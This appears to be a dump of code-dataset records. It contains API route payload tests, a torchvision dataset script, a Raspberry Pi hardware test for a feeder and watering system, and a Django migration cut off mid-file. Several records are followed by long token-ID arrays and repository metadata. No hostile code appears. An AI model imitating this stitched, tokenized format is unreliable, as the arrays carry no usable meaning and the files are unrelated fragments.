class RouteTextPayloadBase(test_base.TestBase):
def test_text_in_json(self):
json = self.res.json()
arg = 'text'
self.assertIn(arg, json)
self.assertEqual(json[arg], text)
class TestRouteTextPayloadPost(RouteTextPayloadCases.RouteTextPayloadBase, test_base.TestBase, api.APITests):
@classmethod
def setup(cls):
cls.res = api.post(
cls.v['AGW'] + '/test_route_text_payload_post',
text=text
)
class TestRouteTextPayloadPut(RouteTextPayloadCases.RouteTextPayloadBase, test_base.TestBase, api.APITests):
@classmethod
def setup(cls):
cls.res = api.put(
cls.v['AGW'] + '/test_route_text_payload_put',
text=text
)
class TestRouteTextPayloadPatch(RouteTextPayloadCases.RouteTextPayloadBase, test_base.TestBase, api.APITests):
@classmethod
def setup(cls):
cls.res = api.patch(
cls.v['AGW'] + '/test_route_text_payload_patch',
text=text
)
if __name__ == '__main__':
main()
| [
1,
529,
276,
1112,
420,
29958,
3421,
1469,
2713,
598,
29914,
5943,
29899,
17062,
1582,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
443,
27958,
1053,
1667,
13,
13,
3166,
869,
3952,
6774,
1053,
7882,
29892,
1243,
29918,
3188,
13,
13,
13,
726,
353,
9995,
13,
1678,
1939,
312,
332,
484,
13,
13,
1678,
390,
4664,
1915,
29876,
348,
425,
21528,
10871,
29894,
790,
3270,
29892,
13,
1678,
260,
7538,
29895,
29986,
29886,
29986,
3615,
282,
29986,
8048,
29986,
260,
29986,
952,
29875,
413,
29884,
29884,
29936,
13,
1678,
413,
267,
29986,
29899,
29891,
3042,
373,
373,
1240,
288,
1171,
3270,
29892,
13,
1678,
413,
1278,
275,
485,
29884,
348,
425,
10327,
327,
1147,
10774,
29884,
29889,
13,
1678,
1174,
611,
980,
20252,
344,
29892,
427,
1854,
29892,
22888,
554,
7340,
29936,
13,
1678,
5478,
941,
1539,
29879,
3363,
21622,
2589,
375,
15065,
280,
5291,
554,
7340,
29892,
13,
1678,
2653,
12578,
8230,
854,
29892,
432,
1148,
265,
282,
29986,
440,
29986,
298,
2679,
2120,
29884,
29892,
13,
1678,
1354,
8941,
2947,
23029,
5291,
352,
7674,
29892,
3737,
302,
2679,
2120,
29884,
29892,
13,
1678,
5291,
12117,
329,
1109,
314,
265,
12337,
722,
29926,
327,
2453,
264,
29936,
13,
1678,
6836,
391,
29986,
19205,
29986,
1527,
29875,
425,
352,
348,
734,
264,
29889,
13,
13,
1678,
13358,
280,
425,
352,
273,
452,
4812,
29892,
413,
267,
29986,
12880,
29986,
29892,
13,
1678,
19205,
29986,
1527,
29875,
480,
5338,
298,
309,
29926,
1759,
29884,
375,
29892,
13,
1678,
502,
29895,
609,
5271,
29892,
577,
666,
29874,
269,
29986,
345,
24434,
29986,
29892,
13,
1678,
260,
7667,
280,
29882,
10424,
29899,
344,
17344,
10852,
719,
29873,
29892,
318,
375,
29889,
13,
1678,
1174,
611,
427,
29986,
29986,
263,
1764,
10636,
9046,
499,
29874,
29892,
13,
1678,
373,
3274,
413,
8827,
404,
29986,
1240,
373,
4566,
21442,
29874,
29936,
13,
1678,
282,
819,
6478,
29891,
286,
348,
343,
1526,
1215,
30010,
560,
265,
282,
2236,
374,
29936,
13,
1678,
263,
4106,
26251,
3634,
29892,
302,
2679,
2120,
29884,
5291,
352,
440,
2236,
374,
29936,
13,
1678,
1226,
404,
29986,
1240,
298,
12682,
1215,
29986,
7026,
22134,
13,
1678,
18515,
1356,
1131,
290,
801,
273,
260,
786,
29874,
273,
6316,
29889,
13,
13,
1678,
529,
5813,
29958,
13,
15945,
29908,
13,
13,
13,
1990,
12034,
1626,
15467,
1359,
29907,
2129,
29901,
13,
1678,
770,
12034,
1626,
15467,
1359,
5160,
29898,
1688,
29918,
3188,
29889,
3057,
5160,
1125,
13,
4706,
822,
1243,
29918,
726,
29918,
262,
29918,
3126,
29898,
1311,
1125,
13,
9651,
4390,
353,
1583,
29889,
690,
29889,
3126,
580,
13,
9651,
1852,
353,
525,
726,
29915,
13,
9651,
1583,
29889,
9294,
797,
29898,
1191,
29892,
4390,
29897,
13,
9651,
1583,
29889,
9294,
9843,
29898,
3126,
29961,
1191,
1402,
1426,
29897,
13,
13,
13,
1990,
4321,
12085,
1626,
15467,
1359,
6747,
29898,
12085,
1626,
15467,
1359,
29907,
2129,
29889,
12085,
1626,
15467,
1359,
5160,
29892,
1243,
29918,
3188,
29889,
3057,
5160,
29892,
7882,
29889,
3301,
1806,
9197,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
6230,
29898,
25932,
1125,
13,
4706,
1067,
29879,
29889,
690,
353,
7882,
29889,
2490,
29898,
13,
9651,
1067,
29879,
29889,
29894,
1839,
10051,
29956,
2033,
718,
8207,
1688,
29918,
13134,
29918,
726,
29918,
23813,
29918,
2490,
742,
13,
9651,
1426,
29922,
726,
13,
4706,
1723,
13,
13,
13,
1990,
4321,
12085,
1626,
15467,
1359,
22908,
29898,
12085,
1626,
15467,
1359,
29907,
2129,
29889,
12085,
1626,
15467,
1359,
5160,
29892,
1243,
29918,
3188,
29889,
3057,
5160,
29892,
7882,
29889,
3301,
1806,
9197,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
6230,
29898,
25932,
1125,
13,
4706,
1067,
29879,
29889,
690,
353,
7882,
29889,
649,
29898,
13,
9651,
1067,
29879,
29889,
29894,
1839,
10051,
29956,
2033,
718,
8207,
1688,
29918,
13134,
29918,
726,
29918,
23813,
29918,
649,
742,
13,
9651,
1426,
29922,
726,
13,
4706,
1723,
13,
13,
13,
1990,
4321,
12085,
1626,
15467,
1359,
29925,
905,
29898,
12085,
1626,
15467,
1359,
29907,
2129,
29889,
12085,
1626,
15467,
1359,
5160,
29892,
1243,
29918,
3188,
29889,
3057,
5160,
29892,
7882,
29889,
3301,
1806,
9197,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
6230,
29898,
25932,
1125,
13,
4706,
1067,
29879,
29889,
690,
353,
7882,
29889,
5041,
29898,
13,
9651,
1067,
29879,
29889,
29894,
1839,
10051,
29956,
2033,
718,
8207,
1688,
29918,
13134,
29918,
726,
29918,
23813,
29918,
5041,
742,
13,
9651,
1426,
29922,
726,
13,
4706,
1723,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
scripts/train.py | m-bain/pytorch-image-models | 1 | 119068 | from torchvision import datasets
ds = datasets.UCF101(root='/datasets/UCF101-24',
annotation_path='/datasets/UCF101-24/UCF101_24Action_Detection_Annotations/UCF101_24Action_Detection_Annotations',
frames_per_clip=4)
import pdb; pdb.set_trace() | [
1,
515,
4842,
305,
4924,
1053,
20035,
13,
13,
6289,
353,
20035,
29889,
29965,
9207,
29896,
29900,
29896,
29898,
4632,
2433,
29914,
14538,
1691,
29914,
29965,
9207,
29896,
29900,
29896,
29899,
29906,
29946,
742,
13,
462,
268,
17195,
29918,
2084,
2433,
29914,
14538,
1691,
29914,
29965,
9207,
29896,
29900,
29896,
29899,
29906,
29946,
29914,
29965,
9207,
29896,
29900,
29896,
29918,
29906,
29946,
4276,
29918,
29928,
2650,
428,
29918,
2744,
1333,
800,
29914,
29965,
9207,
29896,
29900,
29896,
29918,
29906,
29946,
4276,
29918,
29928,
2650,
428,
29918,
2744,
1333,
800,
742,
13,
462,
268,
16608,
29918,
546,
29918,
24049,
29922,
29946,
29897,
13,
13,
5215,
282,
2585,
29936,
282,
2585,
29889,
842,
29918,
15003,
580,
2
] |
client/python/tests/hardware_test.py | lbarman/gaia | 0 | 71521 | <filename>client/python/tests/hardware_test.py
#!/usr/bin/python3
import sys
import os.path
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))
import subprocess
import datetime
from os import listdir
from os.path import join
import gaia_client.gpio_init as gpios
import gaia_client.constants as constants
from RPLCD.i2c import CharLCD
from gaia_client.DHT22 import DHT22Sensor
import time
try:
import RPi.GPIO as GPIO
except RuntimeError:
print("Error importing RPi.GPIO! Is this running with sudo ?")
sys.exit(1)
separator = "*" * 60
def shell(cmd):
result = subprocess.run(cmd, stdout=subprocess.PIPE)
return result.stdout.decode('utf-8')
print(separator)
print("*** The AM2301 temperature/humidity ***\n")
sensor = DHT22Sensor(gpio=gpios.GPIO_PIN_AM2301)
try:
i = 0
while i < 10:
print("Attempt", i, sensor.read())
time.sleep(2)
i += 1
except Exception as e:
print("Exception", e)
sensor.cleanup()
print("Continue ? [Enter]")
input()
print(separator)
print("*** Testing for the W-1 sensors ***\n")
w1sensors = [f for f in listdir(constants.ONE_WIRE_DEVICES_PATH) if f.startswith(constants.ONE_WIRE_SENSOR_NAME_STARTSWITH)]
print("There should be two sensors shown:")
print(",".join(w1sensors) + "\n")
for w1sensor in w1sensors:
print("Reading from", w1sensor)
with open(join(constants.ONE_WIRE_DEVICES_PATH, w1sensor, constants.ONE_WIRE_SENSOR_DATA_LOCATION) , 'r') as content_file:
print(content_file.read())
print("Continue ? [Enter]")
input()
print(separator)
print("*** Testing for the LCD screen ***\n")
print("i2cdetect -y 1 should show exactly one address")
print(shell(['i2cdetect', '-y', '1']))
print("Pin is expected to be", gpios.LCD_I2C_ADDRESS, ". If not, edit the constants. Continue ? [Enter]")
input()
lcd = CharLCD('PCF8574', int(gpios.LCD_I2C_ADDRESS, 16))
lcd.clear()
lcd.write_string('LCD OK ' + str(datetime.datetime.now().time())[0:8])
print("LCD should read \"OK\". Continue ? [Enter]")
input()
print(separator)
print("*** Testing the feeder's led ***\n")
GPIO.output(gpios.GPIO_PIN_LED_FEEDING, GPIO.HIGH)
print("Feeder's LED should be ON. Continue ? [Enter]")
input()
GPIO.output(gpios.GPIO_PIN_LED_FEEDING, GPIO.LOW)
print("Feeder's LED should be OFF. Continue ? [Enter]")
input()
print(separator)
print("*** Testing the feeder's button ***\n")
print("Press on the button. The LCD should display the event.")
def callback(channel):
if GPIO.input(gpios.GPIO_PIN_BUTTON_FEEDING) == GPIO.HIGH:
lcd.clear()
lcd.write_string('BUTTON1 ___ ' + str(datetime.datetime.now().time())[0:8])
print("Feeder's Button pressed ___")
else:
lcd.clear()
lcd.write_string('BUTTON1 _-_ ' + str(datetime.datetime.now().time())[0:8])
print("Feeder's Button released _-_")
GPIO.setup(gpios.GPIO_PIN_BUTTON_FEEDING, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
GPIO.add_event_detect(gpios.GPIO_PIN_BUTTON_FEEDING, GPIO.BOTH, callback=callback, bouncetime=200)
print("Continue ? [Enter]")
input()
print(separator)
print("*** Feeder's continuous servo ***\n")
print("This will start the motor. Press Enter to stop afterwards. Start ? [Enter]")
input()
GPIO.setup(gpios.GPIO_PIN_SERVO_FEEDING, GPIO.OUT)
p = GPIO.PWM(gpios.GPIO_PIN_SERVO_FEEDING, 2500)
p.start(1)
input('Press return to stop:') # use raw_input for Python 2
p.stop()
print(separator)
print("*** Testing the watering system's led ***\n")
GPIO.output(gpios.GPIO_PIN_LED_WATERING, GPIO.HIGH)
print("Watering system's LED should be ON. Continue ? [Enter]")
input()
GPIO.output(gpios.GPIO_PIN_LED_WATERING, GPIO.LOW)
print("Watering system's LED should be OFF. Continue ? [Enter]")
input()
print(separator)
print("*** Testing the watering systems's button ***\n")
print("Press on the button. The LCD should display the event.")
def callback2(channel):
if GPIO.input(gpios.GPIO_PIN_BUTTON_WATERING) == GPIO.HIGH:
lcd.clear()
lcd.write_string('BUTTON2 ___ ' + str(datetime.datetime.now().time())[0:8])
print("Watering System's Button pressed ___")
else:
lcd.clear()
lcd.write_string('BUTTON2 _-_ ' + str(datetime.datetime.now().time())[0:8])
print("Watering System's Button released _-_")
GPIO.setup(gpios.GPIO_PIN_BUTTON_WATERING, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
GPIO.add_event_detect(gpios.GPIO_PIN_BUTTON_WATERING, GPIO.BOTH, callback=callback2, bouncetime=200)
print("Continue ? [Enter]")
input()
print(separator)
print("*** Testing the watering system's led ***\n")
def test_relay(id, pin):
GPIO.output(pin, GPIO.HIGH)
print("Watering system's Relay", id, "should be ON. Continue ? [Enter]")
input()
GPIO.output(pin, GPIO.LOW)
print("Watering system's Relay", id, "should be OFF. Continue ? [Enter]")
input()
test_relay(1, gpios.GPIO_PIN_RELAY1_WATERING)
test_relay(2, gpios.GPIO_PIN_RELAY2_WATERING)
test_relay(3, gpios.GPIO_PIN_RELAY3_WATERING)
test_relay(4, gpios.GPIO_PIN_RELAY4_WATERING)
print("All done, GPIO's should cleanup automatically.") | [
1,
529,
9507,
29958,
4645,
29914,
4691,
29914,
21150,
29914,
6800,
2519,
29918,
1688,
29889,
2272,
13,
29937,
14708,
4855,
29914,
2109,
29914,
4691,
29941,
13,
5215,
10876,
13,
5215,
2897,
29889,
2084,
13,
9675,
29889,
2084,
29889,
4397,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
29898,
359,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
2897,
29889,
2084,
29889,
29886,
538,
381,
4961,
13,
13,
5215,
1014,
5014,
13,
5215,
12865,
13,
3166,
2897,
1053,
1051,
3972,
13,
3166,
2897,
29889,
2084,
1053,
5988,
13,
5215,
10364,
423,
29918,
4645,
29889,
29887,
16168,
29918,
2344,
408,
330,
22432,
13,
5215,
10364,
423,
29918,
4645,
29889,
3075,
1934,
408,
17727,
13,
3166,
390,
7390,
6530,
29889,
29875,
29906,
29883,
1053,
2896,
29931,
6530,
13,
3166,
10364,
423,
29918,
4645,
29889,
29928,
3912,
29906,
29906,
1053,
360,
3912,
29906,
29906,
29903,
6073,
13,
5215,
931,
13,
13,
2202,
29901,
13,
1678,
1053,
390,
12197,
29889,
29954,
2227,
29949,
408,
402,
2227,
29949,
13,
19499,
24875,
2392,
29901,
13,
1678,
1596,
703,
2392,
28348,
390,
12197,
29889,
29954,
2227,
29949,
29991,
1317,
445,
2734,
411,
9196,
1577,
1159,
13,
1678,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
344,
17954,
353,
376,
20605,
334,
29871,
29953,
29900,
13,
13,
1753,
6473,
29898,
9006,
1125,
13,
1678,
1121,
353,
1014,
5014,
29889,
3389,
29898,
9006,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29897,
13,
1678,
736,
1121,
29889,
25393,
29889,
13808,
877,
9420,
29899,
29947,
1495,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
450,
13862,
29906,
29941,
29900,
29896,
10430,
29914,
16063,
333,
537,
18610,
29905,
29876,
1159,
13,
13,
29879,
6073,
353,
360,
3912,
29906,
29906,
29903,
6073,
29898,
29887,
16168,
29922,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
5194,
29906,
29941,
29900,
29896,
29897,
13,
2202,
29901,
13,
1678,
474,
353,
29871,
29900,
13,
1678,
1550,
474,
529,
29871,
29896,
29900,
29901,
13,
4706,
1596,
703,
4165,
3456,
613,
474,
29892,
23530,
29889,
949,
3101,
13,
4706,
931,
29889,
17059,
29898,
29906,
29897,
13,
4706,
474,
4619,
29871,
29896,
13,
19499,
8960,
408,
321,
29901,
13,
1678,
1596,
703,
2451,
613,
321,
29897,
13,
29879,
6073,
29889,
14941,
786,
580,
13,
13,
2158,
703,
1323,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
363,
278,
399,
29899,
29896,
4771,
943,
18610,
29905,
29876,
1159,
13,
13,
29893,
29896,
23149,
943,
353,
518,
29888,
363,
285,
297,
1051,
3972,
29898,
3075,
1934,
29889,
12413,
29918,
22119,
1525,
29918,
2287,
29963,
2965,
2890,
29918,
10145,
29897,
565,
285,
29889,
27382,
2541,
29898,
3075,
1934,
29889,
12413,
29918,
22119,
1525,
29918,
29903,
1430,
29903,
1955,
29918,
5813,
29918,
25826,
23066,
13054,
4638,
13,
2158,
703,
8439,
881,
367,
1023,
4771,
943,
4318,
29901,
1159,
13,
2158,
28165,
1642,
7122,
29898,
29893,
29896,
23149,
943,
29897,
718,
6634,
29876,
1159,
13,
13,
1454,
281,
29896,
29879,
6073,
297,
281,
29896,
23149,
943,
29901,
13,
1678,
1596,
703,
6359,
292,
515,
613,
281,
29896,
29879,
6073,
29897,
13,
1678,
411,
1722,
29898,
7122,
29898,
3075,
1934,
29889,
12413,
29918,
22119,
1525,
29918,
2287,
29963,
2965,
2890,
29918,
10145,
29892,
281,
29896,
29879,
6073,
29892,
17727,
29889,
12413,
29918,
22119,
1525,
29918,
29903,
1430,
29903,
1955,
29918,
14573,
29918,
16652,
8098,
29897,
1919,
525,
29878,
1495,
408,
2793,
29918,
1445,
29901,
13,
4706,
1596,
29898,
3051,
29918,
1445,
29889,
949,
3101,
13,
13,
13,
2158,
703,
1323,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
363,
278,
365,
6530,
4315,
18610,
29905,
29876,
1159,
13,
2158,
703,
29875,
29906,
2252,
300,
522,
448,
29891,
29871,
29896,
881,
1510,
3721,
697,
3211,
1159,
13,
2158,
29898,
15903,
18959,
29875,
29906,
2252,
300,
522,
742,
17411,
29891,
742,
525,
29896,
25901,
13,
2158,
703,
29925,
262,
338,
3806,
304,
367,
613,
330,
22432,
29889,
29931,
6530,
29918,
29902,
29906,
29907,
29918,
17744,
26785,
29892,
11393,
960,
451,
29892,
3863,
278,
17727,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
29880,
2252,
353,
2896,
29931,
6530,
877,
9026,
29943,
29947,
29945,
29955,
29946,
742,
938,
29898,
29887,
22432,
29889,
29931,
6530,
29918,
29902,
29906,
29907,
29918,
17744,
26785,
29892,
29871,
29896,
29953,
876,
13,
29880,
2252,
29889,
8551,
580,
13,
29880,
2252,
29889,
3539,
29918,
1807,
877,
29931,
6530,
9280,
525,
718,
851,
29898,
12673,
29889,
12673,
29889,
3707,
2141,
2230,
3101,
29961,
29900,
29901,
29947,
2314,
13,
13,
2158,
703,
29931,
6530,
881,
1303,
13218,
8949,
29905,
1642,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
278,
1238,
2447,
29915,
29879,
5331,
18610,
29905,
29876,
1159,
13,
13,
29954,
2227,
29949,
29889,
4905,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
20566,
29918,
16359,
3352,
4214,
29892,
402,
2227,
29949,
29889,
29950,
6259,
29950,
29897,
13,
2158,
703,
8263,
2447,
29915,
29879,
25023,
881,
367,
6732,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
29954,
2227,
29949,
29889,
4905,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
20566,
29918,
16359,
3352,
4214,
29892,
402,
2227,
29949,
29889,
27998,
29897,
13,
2158,
703,
8263,
2447,
29915,
29879,
25023,
881,
367,
438,
4198,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
278,
1238,
2447,
29915,
29879,
2826,
18610,
29905,
29876,
1159,
13,
2158,
703,
10923,
373,
278,
2826,
29889,
450,
365,
6530,
881,
2479,
278,
1741,
23157,
13,
13,
1753,
6939,
29898,
12719,
1125,
13,
1678,
565,
402,
2227,
29949,
29889,
2080,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
29933,
2692,
29911,
1164,
29918,
16359,
3352,
4214,
29897,
1275,
402,
2227,
29949,
29889,
29950,
6259,
29950,
29901,
13,
4706,
301,
2252,
29889,
8551,
580,
13,
4706,
301,
2252,
29889,
3539,
29918,
1807,
877,
29933,
2692,
29911,
1164,
29896,
903,
1649,
525,
718,
851,
29898,
12673,
29889,
12673,
29889,
3707,
2141,
2230,
3101,
29961,
29900,
29901,
29947,
2314,
13,
4706,
1596,
703,
8263,
2447,
29915,
29879,
11025,
15385,
29871,
903,
1649,
1159,
13,
1678,
1683,
29901,
13,
4706,
301,
2252,
29889,
8551,
580,
13,
4706,
301,
2252,
29889,
3539,
29918,
1807,
877,
29933,
2692,
29911,
1164,
29896,
903,
29899,
29918,
525,
718,
851,
29898,
12673,
29889,
12673,
29889,
3707,
2141,
2230,
3101,
29961,
29900,
29901,
29947,
2314,
13,
4706,
1596,
703,
8263,
2447,
29915,
29879,
11025,
5492,
903,
29899,
29918,
1159,
13,
13,
13,
29954,
2227,
29949,
29889,
14669,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
29933,
2692,
29911,
1164,
29918,
16359,
3352,
4214,
29892,
402,
2227,
29949,
29889,
1177,
29892,
8206,
29918,
786,
29918,
3204,
29922,
29954,
2227,
29949,
29889,
7056,
29928,
29918,
3970,
16048,
29897,
13,
29954,
2227,
29949,
29889,
1202,
29918,
3696,
29918,
4801,
522,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
29933,
2692,
29911,
1164,
29918,
16359,
3352,
4214,
29892,
402,
2227,
29949,
29889,
29933,
2891,
29950,
29892,
6939,
29922,
14035,
29892,
289,
1309,
29883,
5410,
29922,
29906,
29900,
29900,
29897,
13,
13,
2158,
703,
1323,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
5169,
2447,
29915,
29879,
9126,
724,
1365,
18610,
29905,
29876,
1159,
13,
13,
2158,
703,
4013,
674,
1369,
278,
10992,
29889,
5254,
9041,
304,
5040,
12335,
29889,
7370,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
29954,
2227,
29949,
29889,
14669,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
6304,
24898,
29918,
16359,
3352,
4214,
29892,
402,
2227,
29949,
29889,
12015,
29897,
13,
29886,
353,
402,
2227,
29949,
29889,
29925,
26735,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
6304,
24898,
29918,
16359,
3352,
4214,
29892,
29871,
29906,
29945,
29900,
29900,
29897,
13,
29886,
29889,
2962,
29898,
29896,
29897,
13,
2080,
877,
10923,
736,
304,
5040,
29901,
1495,
259,
396,
671,
10650,
29918,
2080,
363,
5132,
29871,
29906,
13,
29886,
29889,
9847,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
278,
4094,
292,
1788,
29915,
29879,
5331,
18610,
29905,
29876,
1159,
13,
13,
29954,
2227,
29949,
29889,
4905,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
20566,
29918,
29956,
1299,
1001,
4214,
29892,
402,
2227,
29949,
29889,
29950,
6259,
29950,
29897,
13,
2158,
703,
29956,
1008,
292,
1788,
29915,
29879,
25023,
881,
367,
6732,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
29954,
2227,
29949,
29889,
4905,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
20566,
29918,
29956,
1299,
1001,
4214,
29892,
402,
2227,
29949,
29889,
27998,
29897,
13,
2158,
703,
29956,
1008,
292,
1788,
29915,
29879,
25023,
881,
367,
438,
4198,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
278,
4094,
292,
6757,
29915,
29879,
2826,
18610,
29905,
29876,
1159,
13,
2158,
703,
10923,
373,
278,
2826,
29889,
450,
365,
6530,
881,
2479,
278,
1741,
23157,
13,
13,
1753,
6939,
29906,
29898,
12719,
1125,
13,
1678,
565,
402,
2227,
29949,
29889,
2080,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
29933,
2692,
29911,
1164,
29918,
29956,
1299,
1001,
4214,
29897,
1275,
402,
2227,
29949,
29889,
29950,
6259,
29950,
29901,
13,
4706,
301,
2252,
29889,
8551,
580,
13,
4706,
301,
2252,
29889,
3539,
29918,
1807,
877,
29933,
2692,
29911,
1164,
29906,
903,
1649,
525,
718,
851,
29898,
12673,
29889,
12673,
29889,
3707,
2141,
2230,
3101,
29961,
29900,
29901,
29947,
2314,
13,
4706,
1596,
703,
29956,
1008,
292,
2184,
29915,
29879,
11025,
15385,
29871,
903,
1649,
1159,
13,
1678,
1683,
29901,
13,
4706,
301,
2252,
29889,
8551,
580,
13,
4706,
301,
2252,
29889,
3539,
29918,
1807,
877,
29933,
2692,
29911,
1164,
29906,
903,
29899,
29918,
525,
718,
851,
29898,
12673,
29889,
12673,
29889,
3707,
2141,
2230,
3101,
29961,
29900,
29901,
29947,
2314,
13,
4706,
1596,
703,
29956,
1008,
292,
2184,
29915,
29879,
11025,
5492,
903,
29899,
29918,
1159,
13,
13,
13,
29954,
2227,
29949,
29889,
14669,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
29933,
2692,
29911,
1164,
29918,
29956,
1299,
1001,
4214,
29892,
402,
2227,
29949,
29889,
1177,
29892,
8206,
29918,
786,
29918,
3204,
29922,
29954,
2227,
29949,
29889,
7056,
29928,
29918,
3970,
16048,
29897,
13,
29954,
2227,
29949,
29889,
1202,
29918,
3696,
29918,
4801,
522,
29898,
29887,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
29933,
2692,
29911,
1164,
29918,
29956,
1299,
1001,
4214,
29892,
402,
2227,
29949,
29889,
29933,
2891,
29950,
29892,
6939,
29922,
14035,
29906,
29892,
289,
1309,
29883,
5410,
29922,
29906,
29900,
29900,
29897,
13,
13,
2158,
703,
1323,
14150,
1577,
518,
10399,
29962,
1159,
13,
2080,
580,
13,
13,
2158,
29898,
344,
17954,
29897,
13,
2158,
703,
17435,
4321,
292,
278,
4094,
292,
1788,
29915,
29879,
5331,
18610,
29905,
29876,
1159,
13,
13,
1753,
1243,
29918,
2674,
388,
29898,
333,
29892,
12534,
1125,
13,
1678,
402,
2227,
29949,
29889,
4905,
29898,
12687,
29892,
402,
2227,
29949,
29889,
29950,
6259,
29950,
29897,
13,
1678,
1596,
703,
29956,
1008,
292,
1788,
29915,
29879,
6376,
388,
613,
1178,
29892,
376,
9344,
367,
6732,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
1678,
1881,
580,
13,
13,
1678,
402,
2227,
29949,
29889,
4905,
29898,
12687,
29892,
402,
2227,
29949,
29889,
27998,
29897,
13,
1678,
1596,
703,
29956,
1008,
292,
1788,
29915,
29879,
6376,
388,
613,
1178,
29892,
376,
9344,
367,
438,
4198,
29889,
2866,
14150,
1577,
518,
10399,
29962,
1159,
13,
1678,
1881,
580,
13,
13,
1688,
29918,
2674,
388,
29898,
29896,
29892,
330,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
1525,
18799,
29896,
29918,
29956,
1299,
1001,
4214,
29897,
13,
1688,
29918,
2674,
388,
29898,
29906,
29892,
330,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
1525,
18799,
29906,
29918,
29956,
1299,
1001,
4214,
29897,
13,
1688,
29918,
2674,
388,
29898,
29941,
29892,
330,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
1525,
18799,
29941,
29918,
29956,
1299,
1001,
4214,
29897,
13,
1688,
29918,
2674,
388,
29898,
29946,
29892,
330,
22432,
29889,
29954,
2227,
29949,
29918,
29925,
1177,
29918,
1525,
18799,
29946,
29918,
29956,
1299,
1001,
4214,
29897,
13,
13,
2158,
703,
3596,
2309,
29892,
402,
2227,
29949,
29915,
29879,
881,
5941,
786,
6336,
23157,
2
] |
lab/migrations/0003_auto_20191202_1534.py | jtdub/prod2lab | 11 | 25244 | <filename>lab/migrations/0003_auto_20191202_1534.py
# Generated by Django 2.2.8 on 2019-12-02 15:34
from django.db import migrations, models
import django.db.models.deletion
from lab.models import OperatingSystem
def initial_os_data(app, schema_editor):
data = [
{"os": "ios", "os_type": "cisco_ios", "term_length": "terminal length 0", "fetch_config": "show running-config"},
{"os": "iosxr", "os_type": "cisco_xr", "term_length": "terminal length 0", "fetch_config": "show running-config"},
{"os": "iosxe", "os_type": "cisco_xe", "term_length": "terminal length 0", "fetch_config": "show running-config"},
{"os": "nxos", "os_type": "cisco_nxos", "term_length": "terminal length 0", "fetch_config": "show running-config"},
{"os": "eos", "os_type": "arista_eos", "term_length": "terminal length 0", "fetch_config": "show running-config"},
{"os": "edgeos", "os_type": "vyos", "term_length": "terminal length 0", "fetch_config": "show configuration"},
]
for item in data:
OperatingSystem.objects.create(
name=item['os'],
netmiko_type=item['os_type'],
terminal_length_cmd=item['term_length'],
fetch_config_cmd=item['fetch_config']
)
class Migration(migrations.Migration):
dependencies = [
('lab', '0002_auto_20191120_1951'),
]
operations = [
migrations.CreateModel(
name='OperatingSystem',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=255)),
('netmiko_type', models.CharField(max_length=255)),
('terminal_length_cmd', models.CharField(max_length=255)),
('fetch_config_cmd', models.CharField(max_length=255)),
],
),
migrations.AlterField(
model_name='device',
name='os_type',
